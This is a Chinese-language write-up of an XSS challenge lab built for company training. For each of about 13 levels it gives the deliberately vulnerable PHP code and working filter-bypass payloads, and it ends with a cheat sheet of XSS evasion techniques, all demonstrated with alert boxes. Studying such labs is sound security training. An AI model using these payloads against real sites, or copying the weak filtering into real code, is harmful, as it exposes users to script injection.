XSS挑战之旅学习总结

2017-07-25 31,764

近期为了公司培训,准备了一套在线靶场平台。在归类XSS,设计题目的时候找到了一套XSS的源码,自己也跟着做了下,感觉挺好,在此记录下。

 

首先我说下我自己看XSS的思路:

1、先找输入点

xss11

2、再找输出点

xss13

3、根据输出点位置、格式、显示不断重新尝试payload

xss22

第一关

ini_set("display_errors", 0);

$str = $_GET["name"];

echo "<h2 align=center>欢迎用户".$str."</h2>";

可以看到无任何限制,payload:123456"><script>alert(document.domain)</script?>。也可以用其他事件onloadonclickonerrorpromptconfirm等。

第二关

$str = $_GET["keyword"];

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>

<form action=level2.php method=GET>

<input name=keyword  value='".htmlspecialchars($str)."'>

<input type=submit name=submit value=搜索 />

这是比较典型的搜索框XSS,输出点已经被HTML实体编码了,使用了htmlspecialchars函数。我们可以用事件来弹框。payload:

123456' onfocus=alert(document.domain) autofocus;//

123456' oninput=alert`document.domain` //

123456' onchange=alert`document.domain` //

第三关

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level3.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />

和上面一样过滤了 < 和 >,只是是使用的str_replace函数,用 " 闭合value标签。注意:str_replace函数是区分大小写的,str_ireplace函数不区分大小写,所以有时候我们还可以利用大小写绕过。payload:

123456" onfocus=alert(document.domain) autofocus;//

123456" oninput=alert`document.domain`//

data:text/html;base64,MTIzNDU2IiBvbmZvY3VzPWFsZXJ0KGRvY3VtZW50LmRvbWFpbikgYXV0b2ZvY3VzOy8v

第四关

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />

会把script替换为scr_ipt,on替换为o_n,所以没办法使用on事件了。可以尝试使用伪协议payload:

123456"><iframe src=javascript:alert(document.domain)>

123456"> <a href=javascript:alert(document.domain) >XSS</a>

123456"> <a href="javascript:%61lert(1)">XSS</a> //。

第五关

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />

str_replace函数是区分大小写的,测试的主要是大小写问题,可以用大小写绕过。payload:

123456"> <Script>alert(document.domain)</script> //

123456"> <img Src=x OnError=alert(document.domain)> //

123456"><a+hrEf="javascript:alert(document.domain)">XSS</a>//

第六关

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />

只要检测到on,href,src,script等关键字,会直接过滤成空,故采用经典的scrSCRIPTipt方式绕过过滤,故payload如下:

123456" oonninput=alert(document.domain) "

123456"> <scscriptript>alert`document.domain`</scscriptript> //

123456"><a/hrhrefef="javascriscriptpt:alert(document.domain)">

123456"><img/sRsrcc=1 oneronerrorror=alert(document.domain)>

第七关

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level7.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

没有过滤:'  >  <  %  &  #,过滤了:"  src  on  script  data。输出点在a标签内,href属性中,属性中双引号被转换成HTML实体,无法截断属性,很明显,我们想到了协议绕过javascript:alert,由于script关键字被过滤,伪协议后面可以使用URL编码等进行编码。payload:

javascrip&#x74;:alert(document.domain)

javascript:%61lert(document.domain)

javasc&#x72;ipt:alert`document.domain`

javasc&#x0072;ipt:alert`document.domain`

第八关

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}
?>

和上一题一样,只不过多了一个自动检测url,如果发现没有带http:// 内容则会显示不合法,payload:

javascrip&#x74;:alert(1)//http://xxx.com  //利用注释

javascrip&#x74;:%0dhttp://xxx.com%0dalert(1)  //不利用注释

javascrip&#x74;:%0ahttp://xxx.com%0daalert(1)  //不利用注释

第九关

$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">

 

这一题提示我们要常看源代码,可能隐藏的参数就是可利用的。payload:

123456" onmouseover=alert(document.domain) type="text"

123456" type="text" onclick="alert(document.domain)

123456" type="text" onmouseover=alert`document.domain`

第十关

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">

和上面一题一样,根据网页隐藏的字段,联想到HTTP头。后面三关考察HTTP头部的XSS注入,开始抓包,burp修改对应字段即可。

Referer: 123456" onmouseover=alert(document.domain) type="text"

User-Agent: 123456" onmouseover=alert(document.domain) type="text"

Cookie: 123456" onmouseover=alert(document.domain) type="text"

第十一关

此题考察EXIF XSS。学到了[嘿哈],上传一个含有xss代码的图片触发xss。传送门: wooyun exif xss

xss101

漏洞原理是通过修改图片的exif信息,造成解析图片exif触发XSS。利用工具推荐exiftool。以后看见上传果断又一个姿势啊。

第十二关

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";

过滤空格,/等连接符,使用%0d ,%0a等绕过。payload:

<img%0Dsrc=1%0Donerror=alert(document.domain)>

<iframe%0asrc=x%0donmouseover=alert`document.domain`></iframe>

<svg%0aonload=alert`document.domain`></svg>

第十三关

刚开始我以为是Flash XSS,仔细一看发现不是。

echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])

使用了htmlspecialchars进行实体编码,和第三关就一样了,使用on事件。payload:

arg01=123&arg02= onmouseover=alert(document.domain)

arg01=123&arg02=%20onmousedown=alert`document.domain`

arg01=123&arg02=  onmouseover=alert(document.domain) type="text"

后面Flash XSS,我也不懂,就没看了。

【本文由 安全脉搏编辑w2n1ck 编写,转载请注明“转自安全脉搏”,并附上链接: https://www.secpulse.com/archives/59497.html】

XSS绕过常用方法

1、大小写绕过

<ScRIpT>alert('123')</sCRIpT>

2、编码绕过

  • 1.十六进制编码
  • 2.jsfuck编码
  • 3.url编码
  • 4.unicode编码

<0x736372697074>alert('123')</0x736372697074>

<img src="1" onerror="alert&#x28;1&#x29;">

3、绕过magic_quotes_gpc

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

4、标签

闭合标签

"><script>alert(/123/)</script>

</script><script>alert(1)</script>

标签绕过

<img src="x" onerror="alert(1)">

<button onclick="javascript:alert('xss')>XSS</button">

<title><img a="</title><img/src=1 onerror=alert(1)//">

"onsubmit=javascript:alert(1)%20name="a

<details open ontoggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">

<video src="http://www.0dutv.com/plug/down/up2.php/104678898.mp3" onprogress=$('body').prepend(123);$('body')></video>

5、其他符号绕过

%0a         替换空格

%0d         替换空格

/**/          替换空格

%00          截断

``              替换括号

6、双字符绕过

<img ononerrorerror="123">

<script>alalertert(123)</script>

7、宽字节绕过

  • gbxxxx系列的编码,那么我们尝试一下宽字节  %c0,%bf,%5c,%df

8、其他事件绕过

onload

onclick

onerror

prompt

confirm

onmousemove

9、CRLF injection绕过

CRLF是”回车 + 换行”(\r\n)的简称。

http://www.xxx.com%0d%0a%0d%0a<svg/onload=prompt(1)>

【本文由 安全脉搏编辑w2n1ck 编写,转载请注明“转自安全脉搏”,并附上链接: https://www.secpulse.com/archives/59497.html】

本文作者:瓦都剋

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/59497.html

Tags:
评论  (12)
快来写下你的想法吧!

瓦都剋

文章数:14 积分: 113

一杯茶,一包烟,一个破站日一天

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号